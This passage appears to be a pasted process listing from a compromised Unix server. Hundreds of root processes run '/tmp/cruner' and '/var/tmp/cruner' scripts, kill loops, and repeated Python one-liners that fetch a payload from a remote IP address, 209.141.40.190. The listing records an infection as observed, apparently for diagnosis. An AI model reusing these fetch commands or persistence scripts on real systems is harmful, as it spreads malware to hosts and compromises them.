0 15:46:00 ? 0:00 sh /tmp/cruner > root 2733 15039 0 - ? 0:00 <defunct> > root 29068 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7828 7778 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6734 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29536 1621 0 15:45:34 ? 0:00 sleep 60 > root 1226 8085 0 15:45:48 ? 0:00 sleep 60 > root 21490 28844 0 15:44:53 ? 0:00 bash -sh > root 16243 3996 0 - ? 0:00 <defunct> > root 29509 28792 0 15:45:48 ? 0:00 sh /tmp/cruner > root 24997 29790 0 15:46:05 ? 0:00 sleep 60 > root 7134 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11616 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5386 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 120 3933 0 15:45:27 ? 0:00 bash -sh > root 3153 25509 0 15:45:40 ? 0:00 bash -sh > root 25948 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17601 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6603 9180 0 15:46:06 ? 0:00 sh /var/tmp/cruner > root 19496 10310 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22023 7312 0 - ? 0:00 <defunct> > root 25945 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8046 1837 0 - ? 0:00 <defunct> > root 3282 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4568 21426 0 15:46:06 ? 0:00 sleep 60 > root 11486 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26423 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28536 2494 0 15:45:18 ? 0:00 sleep 60 > root 22282 9873 0 15:45:38 ? 0:00 sleep 60 > root 15001 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11076 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13174 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16097 20655 0 15:44:25 ? 0:00 bash -sh > root 15880 22559 0 15:46:08 ? 0:00 sleep 60 > root 28903 22949 0 - ? 0:00 <defunct> > root 21363 19002 0 15:45:42 ? 0:00 bash -sh > root 1339 23059 0 15:45:27 ? 0:00 sleep 60 > root 15820 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4409 24064 0 - ? 0:00 <defunct> > root 7542 12515 0 15:45:09 ? 0:00 bash -sh > root 13162 19968 0 15:45:45 ? 0:00 sleep 60 > root 10060 15857 0 15:45:10 ? 0:00 bash -sh > root 226 19333 0 15:44:55 ? 0:00 bash -sh > root 25038 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9331 23395 0 - ? 0:00 <defunct> > root 4138 17188 0 - ? 0:00 <defunct> > root 29192 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16968 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4373 11691 0 - ? 0:00 <defunct> > root 17833 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14167 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1965 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13244 16844 0 - ? 0:00 <defunct> > root 8581 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10626 19277 0 15:45:21 ? 0:00 bash -sh > root 20788 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23847 568 0 15:42:55 ? 0:00 bash -sh > root 8486 7227 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5680 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2230 3967 0 15:46:02 ? 0:00 bash -sh > root 9886 11427 0 15:45:41 ? 0:00 sleep 60 > root 4056 6621 0 15:46:06 ? 0:00 sleep 60 > root 28135 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13232 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11222 5230 0 15:45:59 ? 0:00 bash -sh > root 22877 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4925 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25325 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24669 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23573 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2481 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1569 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9027 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11443 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28744 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16927 6804 0 15:44:52 ? 0:00 bash -sh > root 16867 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3496 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2020 29628 0 15:45:39 ? 0:00 bash -sh > root 29520 4826 0 15:45:34 ? 0:00 sleep 60 > root 23690 17038 0 15:45:13 ? 0:00 bash -sh > root 6919 10474 0 15:45:04 ? 0:00 bash -sh > root 15 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6126 3231 0 15:45:28 ? 0:00 bash -sh > root 6911 21742 0 - ? 0:00 <defunct> > root 3894 19738 0 15:45:24 ? 0:00 sleep 60 > root 13315 11606 0 15:42:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29814 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24660 8043 0 15:45:27 ? 0:00 sleep 60 > root 29440 3205 0 - ? 0:00 <defunct> > root 19706 19705 0 15:45:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23818 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21278 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20452 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17562 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19759 19735 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 17196 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13893 18303 0 15:44:52 ? 0:00 bash -sh > root 412 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13452 12771 0 15:45:59 ? 0:00 xargs kill -9 > root 15559 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7812 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7035 28636 0 - ? 0:00 <defunct> > root 4101 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1029 430 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20529 22514 0 - ? 0:00 <defunct> > root 23282 23230 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 241 13065 0 15:45:53 ? 0:00 sleep 60 > root 19701 4975 0 15:46:09 ? 0:00 bash -sh > root 25767 24068 0 - ? 0:00 <defunct> > root 11211 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13369 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14592 19754 0 - ? 0:00 <defunct> > root 8850 13976 0 - ? 0:00 <defunct> > root 27884 6086 0 15:45:34 ? 0:00 sleep 60 > root 3406 20738 0 15:45:54 ? 0:00 sh /var/tmp/cruner > root 21301 20310 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2329 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5911 4650 0 15:45:44 ? 0:00 bash -sh > root 23972 6198 0 - ? 0:00 <defunct> > root 9315 9282 0 15:43:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3824 21551 0 15:45:19 ? 0:00 sleep 60 > root 15007 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18519 12994 0 15:45:16 ? 0:00 bash -sh > root 20790 29481 0 15:43:34 ? 0:00 bash -sh > root 11425 11409 0 15:43:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16840 10217 0 15:45:42 ? 0:00 sleep 60 > root 13742 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 14835 7856 0 15:44:52 ? 0:00 bash -sh > root 11158 11148 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19520 16038 0 - ? 0:00 <defunct> > root 1178 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12666 5324 0 15:46:08 ? 0:00 bash -sh > root 8492 7179 0 - ? 0:00 <defunct> > root 14720 414 0 15:45:37 ? 0:00 bash -sh > root 67 2557 0 15:45:27 ? 0:00 sleep 60 > root 2829 4094 0 - ? 0:00 <defunct> > root 18419 27069 0 - ? 0:00 <defunct> > root 19720 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27159 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25155 7038 0 15:44:54 ? 0:00 bash -sh > root 22729 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3241 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15773 21782 0 15:46:00 ? 0:00 sh /tmp/cruner > root 26703 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4672 4878 0 15:45:19 ? 0:00 sleep 60 > root 2437 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28581 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19276 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1570 21711 0 15:46:06 ? 0:00 bash -sh > root 28577 11121 0 - ? 0:00 <defunct> > root 8133 8127 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4861 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1819 332 0 15:45:53 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14847 1753 0 15:45:05 ? 0:00 bash -sh > root 20751 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16724 11364 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 25900 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21736 3220 0 15:45:06 ? 0:00 bash -sh > root 28329 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8462 3271 0 - ? 0:00 <defunct> > root 26811 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16303 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2068 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13916 12092 0 - ? 0:00 <defunct> > root 18564 17234 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24049 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23132 6475 0 15:44:45 ? 0:00 bash -sh > root 25963 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15377 28534 0 15:45:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2840 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27961 13890 0 15:43:49 ? 0:00 bash -sh > root 18012 13027 0 - ? 0:00 <defunct> > root 23498 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22234 17911 0 15:45:30 ? 0:00 sleep 60 > root 13422 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27367 20142 0 15:45:23 ? 0:00 sleep 60 > root 27755 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9167 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23359 1315 0 - ? 0:00 <defunct> > root 3944 19382 0 15:43:08 ? 0:00 bash -sh > root 3223 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25004 26389 0 15:45:39 ? 0:00 bash -sh > root 13502 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10332 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26980 15072 0 15:45:43 ? 0:00 bash -sh > root 20775 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1567 15811 0 15:45:44 ? 0:00 bash -sh > root 10214 5925 0 15:45:59 ? 0:00 sleep 60 > root 26887 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3467 12324 0 15:45:35 ? 0:00 sleep 60 > root 16091 29010 0 - ? 0:00 <defunct> > root 21212 8523 0 15:45:12 ? 0:00 sleep 60 > root 9180 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7480 3929 0 15:46:07 ? 0:00 sh /var/tmp/cruner > root 2938 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7801 28979 0 15:45:40 ? 0:00 xargs kill -9 > root 21747 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18860 16459 0 15:46:09 ? 0:00 xargs kill -9 > root 20528 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12856 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3308 3713 0 15:45:58 ? 0:00 sleep 60 > root 1781 17830 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5362 15673 0 - ? 0:00 <defunct> > root 6766 3944 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23876 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21340 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17918 14178 0 - ? 0:00 <defunct> > root 12060 25585 0 - ? 0:00 <defunct> > root 1387 43 0 15:45:24 ? 0:00 sleep 60 > root 19973 5514 0 15:45:51 ? 0:00 bash -sh > root 18312 1 0 21:31:08 ? 0:00 sh /var/tmp/cruner > root 19535 5923 0 15:44:53 ? 0:00 bash -sh > root 29194 2248 0 15:45:43 ? 0:00 bash -sh > root 28825 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29135 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6682 2104 0 - ? 0:00 <defunct> > root 5979 20082 0 15:45:09 ? 0:00 bash -sh > root 3631 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8335 26771 0 15:45:36 ? 0:00 sleep 60 > root 2274 5029 0 15:45:48 ? 0:00 sleep 60 > root 4649 2800 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3941 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 28253 3184 0 15:45:27 ? 0:00 sleep 60 > root 9803 11582 0 - ? 0:00 <defunct> > root 6312 23662 0 15:45:35 ? 0:00 bash -sh > root 7484 20170 0 - ? 0:00 <defunct> > root 17493 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21397 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12543 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2579 1095 0 15:44:50 ? 0:00 bash -sh > root 18883 18613 0 - ? 0:00 <defunct> > root 1485 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4161 7766 0 15:46:06 ? 0:00 sleep 60 > root 25906 27931 0 15:45:13 ? 0:00 bash -sh > root 3303 29525 0 15:45:44 ? 0:00 sleep 60 > root 26462 24129 0 - ? 0:00 <defunct> > root 20504 22227 0 15:45:42 ? 0:00 sleep 60 > root 26952 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 9897 27406 0 15:45:15 ? 0:00 bash -sh > root 26480 27909 0 15:45:18 ? 0:00 sleep 60 > root 29970 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22203 4256 0 15:45:30 ? 0:00 sleep 60 > root 28939 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23145 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10643 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15393 20823 0 - ? 0:00 <defunct> > root 213 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10102 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27217 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7928 7018 0 15:45:58 ? 0:00 sleep 60 > root 15316 9128 0 15:45:46 ? 0:00 bash -sh > root 15870 15598 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13404 2152 0 15:46:08 ? 0:00 xargs kill -9 > root 26384 23510 0 15:43:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12716 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23474 21562 0 15:45:47 ? 0:00 bash -sh > root 23073 7908 0 - ? 0:00 <defunct> > root 14935 14928 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6861 9337 0 15:45:49 ? 0:00 sleep 60 > root 17298 20111 0 15:46:08 ? 0:00 sleep 60 > root 20449 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24016 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5640 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25650 26616 0 - ? 0:00 <defunct> > root 22113 29215 0 - ? 0:00 <defunct> > root 18588 11628 0 15:45:51 ? 0:00 bash -sh > root 26680 1 0 16:50:23 ? 0:01 sh /tmp/cruner > root 9985 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9067 18195 0 - ? 0:00 <defunct> > root 3094 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8273 7043 0 15:45:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16913 27737 0 15:46:08 ? 0:00 xargs kill -9 > root 9638 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17230 18877 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25383 18401 0 15:45:43 ? 0:00 sleep 60 > root 3973 21440 0 15:45:40 ? 0:00 bash -sh > root 8332 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18341 18291 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18030 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7177 7977 0 15:46:07 ? 0:00 sh /var/tmp/cruner > root 13376 14163 0 15:46:08 ? 0:00 xargs kill -9 > root 1818 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1927 20480 0 15:45:48 ? 0:00 sleep 60 > root 11627 23414 0 15:45:59 ? 0:00 bash -sh > root 29660 25560 0 15:44:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28771 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7599 20063 0 - ? 0:00 <defunct> > root 19232 2871 0 15:44:18 ? 0:00 bash -sh > root 6690 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11144 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27206 3187 0 15:45:39 ? 0:00 bash -sh > root 3378 2648 0 15:45:19 ? 0:00 sleep 60 > root 10083 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26281 10291 0 15:45:47 ? 0:00 sleep 60 > root 17029 15663 0 15:46:08 ? 0:00 xargs kill -9 > root 26875 28038 0 - ? 0:00 <defunct> > root 15814 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1556 23489 0 15:45:44 ? 0:00 bash -sh > root 23063 23814 0 15:45:47 ? 0:00 bash -sh > root 28330 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9923 28645 0 - ? 0:00 <defunct> > root 11332 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23313 27871 0 15:44:08 ? 0:00 bash -sh > root 3331 27460 0 15:45:54 ? 0:00 sleep 60 > root 23799 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7128 1740 0 15:45:35 ? 0:00 sleep 60 > root 21499 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 587 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13257 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17184 14489 0 - ? 0:00 <defunct> > root 9351 3522 0 15:45:59 ? 0:00 sleep 60 > root 21314 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21254 17166 0 15:45:06 ? 0:00 bash -sh > root 2200 1088 0 15:45:53 ? 0:00 xargs kill -9 > root 2028 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24282 12863 0 15:44:58 ? 0:00 bash -sh > root 7632 16637 0 15:45:45 ? 0:00 bash -sh > root 22489 25364 0 - ? 0:00 <defunct> > root 25794 9258 0 15:45:23 ? 0:00 bash -sh > root 21826 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26106 18686 0 15:45:57 ? 0:00 sleep 60 > root 18142 5440 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16061 20549 0 - ? 0:00 <defunct> > root 29004 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15205 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2294 4531 0 15:45:58 ? 0:00 sleep 60 > root 2508 19635 0 - ? 0:00 <defunct> > root 20462 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27134 1 0 18:06:04 ? 0:01 sh /var/tmp/cruner > root 3765 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10910 8190 0 - ? 0:00 <defunct> > root 248 10407 0 15:44:41 ? 0:00 bash -sh > root 29659 29629 0 15:45:34 ? 0:00 sleep 60 > root 1075 8745 0 15:45:48 ? 0:00 sleep 60 > root 12401 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20729 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12164 6060 0 15:45:21 ? 0:00 sleep 60 > root 19860 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10863 5849 0 - ? 0:00 <defunct> > root 5964 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10850 25479 0 - ? 0:00 <defunct> > root 27339 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16232 14927 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 22820 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17174 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 11348 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24934 15068 0 - ? 0:00 <defunct> > root 20764 19802 0 - ? 0:00 <defunct> > root 12630 14510 0 - ? 0:00 <defunct> > root 29011 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2634 4287 0 15:45:53 ? 0:00 bash -sh > root 28051 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24334 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24641 27254 0 - ? 0:00 <defunct> > root 1957 9495 0 15:46:06 ? 0:00 bash -sh > root 14099 2158 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 12514 11903 0 15:46:08 ? 0:00 sed -e s/\/.*//g > root 20892 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24674 1 0 16:46:44 ? 0:01 sh /var/tmp/cruner > root 24955 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17720 17687 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17495 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10127 20905 0 - ? 0:00 <defunct> > root 11994 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17853 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24788 5671 0 15:44:58 ? 0:00 bash -sh > root 1924 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7662 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9130 8677 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24361 21381 0 15:45:43 ? 0:00 sleep 60 > root 14116 14426 0 - ? 0:00 <defunct> > root 1571 539 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24442 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22626 9214 0 - ? 0:00 <defunct> > root 5310 11515 0 - ? 0:00 <defunct> > root 23497 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28383 7232 0 15:44:10 ? 0:00 bash -sh > root 28838 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17910 1 0 22:12:22 ? 0:00 sh /var/tmp/cruner > root 14129 17193 0 15:45:37 ? 0:00 bash -sh > root 905 10755 0 15:45:44 ? 0:00 bash -sh > root 23266 10039 0 - ? 0:00 <defunct> > root 13968 28212 0 15:45:37 ? 0:00 bash -sh > root 1561 15056 0 15:45:08 ? 0:00 bash -sh > root 261 14246 0 15:42:45 ? 0:00 bash -sh > root 5125 27911 0 15:45:40 ? 0:00 sleep 60 > root 24913 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20979 2025 0 15:45:06 ? 0:00 bash -sh > root 22964 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8044 6161 0 - ? 0:00 <defunct> > root 15827 15296 0 - ? 0:00 <defunct> > root 18167 18152 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12314 16965 0 - ? 0:00 <defunct> > root 16871 25978 0 15:45:42 ? 0:00 sleep 60 > root 284 16633 0 - ? 0:00 <defunct> > root 15593 1764 0 15:44:16 ? 0:00 bash -sh > root 2258 4924 0 15:45:19 ? 0:00 sleep 60 > root 3628 26672 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 18330 13395 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 3079 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23913 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5759 8426 0 - ? 0:00 <defunct> > root 9645 11237 0 - ? 0:00 <defunct> > root 21109 13948 0 15:46:00 ? 0:00 xargs kill -9 > root 24682 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14088 11067 0 15:45:50 ? 0:00 bash -sh > root 860 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14478 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24342 24341 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29539 25208 0 15:45:18 ? 0:00 sleep 60 > root 1232 24854 0 15:45:24 ? 0:00 sleep 60 > root 23345 9841 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 9283 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9818 28690 0 15:46:07 ? 0:00 sleep 60 > root 1681 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23901 1 0 18:07:49 ? 0:01 sh /var/tmp/cruner > root 27408 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12991 27600 0 15:43:32 ? 0:00 bash -sh > root 14315 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27490 15467 0 - ? 0:00 <defunct> > root 28362 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25652 25835 0 15:45:57 ? 0:00 xargs kill -9 > root 11519 16783 0 - ? 0:00 <defunct> > root 12542 20002 0 - ? 0:00 <defunct> > root 28047 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2807 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17077 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27934 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29473 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29556 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13609 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10902 22798 0 15:46:07 ? 0:00 sh /var/tmp/cruner > root 4329 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 12568 27664 0 15:46:08 ? 0:00 bash -sh > root 5121 26878 0 - ? 0:00 <defunct> > root 27443 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22296 21042 0 - ? 0:00 <defunct> > root 6288 1 0 19:59:58 ? 0:00 sh /var/tmp/cruner > root 9297 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17317 11819 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 11728 11353 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16698 15863 0 - ? 0:00 <defunct> > root 25770 11301 0 15:44:20 ? 0:00 bash -sh > root 11870 7491 0 15:45:59 ? 0:00 bash -sh > root 14126 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6792 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9797 4253 0 15:45:59 ? 0:00 sleep 60 > root 17624 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26873 24343 0 15:45:53 ? 0:00 sh /tmp/cruner > root 19813 1335 0 - ? 0:00 <defunct> > root 18730 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25113 1381 0 15:44:54 ? 